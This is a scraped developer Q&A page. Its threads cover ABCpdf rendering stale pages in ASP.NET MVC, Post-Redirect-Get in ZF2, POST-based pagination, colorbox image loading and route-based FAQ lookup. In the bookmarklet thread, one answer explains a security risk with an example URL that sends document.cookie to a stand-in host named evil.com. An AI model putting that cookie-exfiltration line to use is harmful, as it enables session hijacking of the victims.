ABCpdf with textboxs not updating in PDF - asp.net-mvc

I am making an invoice website while learning ASP.net MVC, and so far so good. The problem I am running into is when I update an invoice in my app, then try and download it as a pdf, I get the initial content of the page and none of the updates. I'd like to display the pdf before someone downloads it which is working just fine. So I don't know if my problem has something to do with the stream not getting the changes on the page.
If possible I would also like a Guid returned in the URL and have no idea how to do that with how things are currently set up.
Any help would be amazing!
Note: I published the site but ABCpdf errors out (possibly due to it being the trial version), however, locally I can generate a PDF
View
#Html.ActionLink("Download PDF", "DownloadPDF", null, new { #class = "btn btn-action", #target = "_blank" })
Controller
public ActionResult DownloadPDF()
{
Doc pdf = new Doc();
MemoryStream stream = new MemoryStream();
pdf.Rect.Inset(40, 40);
pdf.HtmlOptions.Engine = EngineType.Gecko;
pdf.HtmlOptions.UseScript = true;
pdf.AddImageUrl("http://local.completeinvoice.com/");
byte[] data = pdf.GetData();
Response.Clear();
Response.ContentType = "application/pdf";
Response.AddHeader("content-disposition", "inline; filename=invoice-001.pdf");
Response.AddHeader("content-length", data.Length.ToString());
Response.BinaryWrite(data);
Response.Flush();
Response.End();
pdf.Flatten();
pdf.Save(stream);
stream.Close();
pdf.Clear();
return View("Index");
}

In reading through http://www.websupergoo.com/helppdf9net/source/3-concepts/g-htmlrender.htm I found that:
You can render any page you can supply a URL for. When you render a page the page has to be reloaded by ABCpdf.
Basically you need a unique URL, that is an actual page, with the data displayed in order for ABCpdf to be able to read the page before it renders it to a PDF.
Another option was to save the page as a .html then read the page from the server then delete the generated .html page.

The URL you supply in this example is the same each time yet you are expecting the output to change each time.
Thus the crucial thing here is to determine how state is being stored. Assuming that this is some type of invoice, where does the invoice number come from?
The normal way to do this would be to encode the invoice ID in the URL. Then in your page pick up the ID and generate the page using that unique identfier.
That way you could email the link to your friend and she would see the same invoice you're seeing. The URL used in above example is generic. If you mailed it to your friend who knows what she would see?
ABCpdf is the same. It really needs a unique URL it can work with. Yes it can work off session state and cookies but it gets really complex and tiresome if you want to do this. Much simpler just to ensure each URL is unique.
So adapt the URL you pass to AddImageUrl so it incorporates the state that is required for the unique page that is going to be returned. Then ABCpdf will see the same thing you see.
I would note that it is also possible for PDFs to be cached in the browser. However this is an uncommon cause of the problem you describe here. I think in this case you would be safe to disregard it.

Related

Benefits of Post-Redirect-Get

When I started with ZF2 the first module I used was ZfcUser. When I debug it's controller's code I found a weird way (at least for me) to manage actions. I found code like
$prg = $this->prg('zfcuser/changepassword');
if ($prg instanceof Response) {
return $prg;
} elseif ($prg === false) {
return array(
'status' => $status,
'changePasswordForm' => $form,
);
}
//VALIDATE FORM AND DATABASE STUFF
(...)
The behaviour is as follows:
The first load $prg is false, so it returns the form.
When you submit the page, $prg is an instance of Response, so it returns $prg.
When $prg is returned, the same function is called again and $prg becomes an array with all the posted data, so it jumps to the validation of form and database stuff.
I thought it was a weird approach so I override all the needed functions replacing this with the simple request->isPost(). I found it easier to handle the first load/data posted.
I didn't give it more importance until now. I'm facing the Post-Redirect-Get approach again when I'm trying to upload files: it seems that is needed to prevent user to re-select the file and re-upload when a validation error rises on a form.
What's the point of the Post-Redirect-Get? When do you recommend the use of it (apart of the commented file upload)?
As the documentation states:
When a user sends a POST request (e.g. after submitting a form), their browser will try to protect them from sending the POST again, breaking the back button, causing browser warnings and pop-ups, and sometimes reposting the form. Instead, when receiving a POST, we should store the data in a session container and redirect the user to a GET request.
So the purpose of this plugin is to improve user experience. You must have came across this problem when you submit a form and try to refresh the page you get a pop-up message like (example from google chrome):
Confirm Form Resubmission: The page that you're looking for used information that you entered. Returning to that page might cause any action you took to be repeated. Do you want to continue?
You can get more details in the docs for Post/Redirect/Get Plugin, or File Post/Redirect/Get Plugin if your form handles files uploads.
NOTE: For the File Post/Redirect/Get Plugin - Example Usage there's a typo on line 16, you should use $this->filePrg() instead of $this->prg(). It should be like the line below.
$prg = $this->filePrg($myForm, '/user/profile-pic', true);

Update param and call action in controller on click?

I have been banging my head over this for the past 3 days (No kidding!!!)....It seems like a very simple thing but I am just unable to do it. So I'm putting the question out here, and am open to any method which would work.
BACKGROUND : An advanced search form on submission used to generate an URL too large for the server. So the form had to be submitted via POST. So far, so good. Form submitted successfully, and the result was displayed. Only remaining problem was pagination.
As it's a POST call, it ruled out will pagination. While will-pagination merges param page to the existing params, but the problem is that it shows on url which results in the same error.
QUESTION: So is there any way, if the user clicks a link NEXT, I can
a) Update the page param
b) Keep the existing params
c) While not changing the URL
d) Transfer control back to the action in controller?
The only solution so far suggested was have a hidden form, repopulate it's value and submit again. The form's pretty complex, so if there is a cleaner way I'd like to know.
I see what you want from your comment. So editing my reply accordingly. You want the information as to which column is being selected in the sort to be available to the controller without having that information available in the url string, and you want to use GET for this not POST
The challenge you have is that you want to preserve state between requests and you need a mechanism for doing this. POST preserves that information by sending it in the body of the POST request. GET does this by allowing you to populate the query string. The other method for preserving state is to use a cookie.
You can manipulate the url with javascript on the page. There are tutorials online for that.
But if you just want a simple controller hack as you say in your comment then the simplest one I can think of is to allow the user to make the GET request to the url with the query params in it, then handle this request in two steps - step one saves the query information to the cookie, step two redirects them to the url with that query string data stripped, and you look on the cookie to see if it has those fields before building your data for that page. It's hacky but it works.
def sort
session[:sort] = params[:sort]
redirect_to url_without_the_query_string
end
There is also the new html 5 feature:
window.history.replaceState(“Replace”, “Page Title”, “/mypage”);
from this stackoverflow answer here: How to remove query string from url using javascript
However I'm not sure I'd recommend messing with the url after load like that (I don't know enough about that solution so I'd recommend you read that answer and see if that fits). So, if you MUST lose that data from the url string, because you need to somehow pass it between requests you either have to use POST, or use the session cookie/redirect method I describe above.
Does your html <form> have an action attribute? If not, add one that points to the page.
If you want to preserve the current GET params so that results from the POST can use , you will also need to modify the javascript triggered on the heading links so that as well as (or instead of) modifying the query string, they write the same data to hidden form fields (which of course then get posted in the body of the request). Your JS library may already include helpful functions for that.

Combine URL and a javascript bookmarklet together

I need to access some data in someone's site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.
foo() is like:
function foo(param){
createXXXCookie('COOKIE_NAME', param, 60);
window.location.href="/current/location";
}
So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.
I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:... part and just proceed the first part of URL.
This is not possible.
Had it been possible, it would be a deadly security hole.
Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.

colorbox problem when reading image from database

I'm developing a project using asp.net mvc. And i am saving images to database as byte array.
Every thing works properly until when iam using colorbox.
I try to using colorbox to show set of product images. when i am click to button i am getting weird result. I am expecting image but its gathering huge amount of weird symbols like below.
<�<�="=a=�=�> >`>�>�?!?a?�?�###d#�#�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�
Iam sure that works properly including colorbox. Problem occurs when colorbox tries ta get image from database. Any ideas?
Thanks in advance
public FileContentResult Index(int id)
{
var media = _entities.Images.AsQueryable()
.Where(e => e.Id == id)
.Select(e => e).FirstOrDefault();
return File(media.ImageData, media.ImageMimeType);
}
this is hove i get the image.
http://localhost:2632/assets/index/105
this is the pattern of url. for getting image.
$("a[rel=" + "'" + 48 + "']").colorbox({ transition: "fade", title: true, current: true });
this is how i call color box.
<a style=" display:none;" rel="48" href="assets/index/107">asd</a>
this is the how i embed the element to page.
Solution available at Problem while working with Jquery colorbox and dynamic images that reading via Aspx
Use colorbox's photo property.
Example:
$('a.example').colorbox({photo:true});
The reason is that colorbox's regex to
auto-detect image URLs is going to
fail for that kind of URL (doesn't
contain an image-type extension).
The weird symbols you've posted are because the bytes are being interpreted as text, and they won't all be valid/printable characters. This is not necessarily a problem.
What happens when you send a request (http://localhost:2632/assets/index/105)? What does the browser show?
What datatype is the field in the database? Make sure you're not using a text field, as this would certainly screw things up. It might be worthwhile copy/pasting the bytes you're saving to the database and the ones you're getting back out and checking whether they're the same. If they're not, then chances are something is wrong in the database (like the field type).

Loading & Displaying Context Specific FAQ

First off I'm not sure that's the proper title for this question but hopefully I'll do a better job trying to explain what I need to accomplish.
Introduction
What I want to do is load the FAQ information that is relative to the page I'm on. So say I'm on the page www.domain.com/items/index, I want to load the FAQ information that describe what can be done on this page and what options are available... etc. Then, the user rolls over a search bar, I want to display (on the side of a page) a short text that describes the search box and how it works (like telling them you could search by keywords or for a specific item or... etc). And it goes like that for the rest of the pages and stuff on those pages.
Brainstorming
Ok so what I have in mind so far, and which I'm not sure of (hence this is why I'm posting the question) is as follows:
In the database, create two tables: PageFAQ and ElementFAQ where an ElementFAQ is a child of PageFAQ. The reason why I thought about this is so I would load the PageFAQ and all ElementFAQ all together and dump them into the page and hide them.
At this point, I would only display the summary text of the PageFAQ which tells the user more about the page and some of the available options.
Now, in order to load the correct ElementFAQ, some steps should be taken on the server and client side:
Make sure the Id's/Names of the ElementFAQ's in the database match those of the hidden divs that were dumped into the page previously (when the PageFAQ relative to the page was loaded)
When the user rolls over an element (say the search bar), I would use jQuery to search for a div with id faq_searchBar and display its innerHTML inside the FAQ side box.
Problem
All what is mentioned above should theoretically work. But I can't get my mind around how to map between the "page" I'm currently viewing and the PageFAQ entry in the database. As you know, there aren't really pages in ASP.NET MVC, there are only routes. So is there some way I could use route data to fetch the needed PageFAQ? Or should I use the query string? Or is there a better way of doing this all together, preferably something that does not use magic strings in the first place.
UPDATE:
Would it be too much overhead loading the PageFAQ and all its ElementFAQ children and dump them into the page as hidden divs? Or would it be a better idea to load them via AJAX when the user rolls over the element?
Your suggestions are most welcome.
"page" I'm currently viewing
string currentAction = RouteData.GetRequiredString("action");
string currentController = RouteData.GetRequiredString("controller");
string id = CalculateId(currentAction, currentController);
PageFAQ pageFAQ = Repository.GetFAQ(id);
...
The CalculateId could simply associate the current controller and action to the corresponding id in the database or directly add those columns in your database and then query:
string currentAction = RouteData.GetRequiredString("action");
string currentController = RouteData.GetRequiredString("controller");
PageFAQ pageFAQ = Repository.GetFAQ(currentAction, currentController);

Resources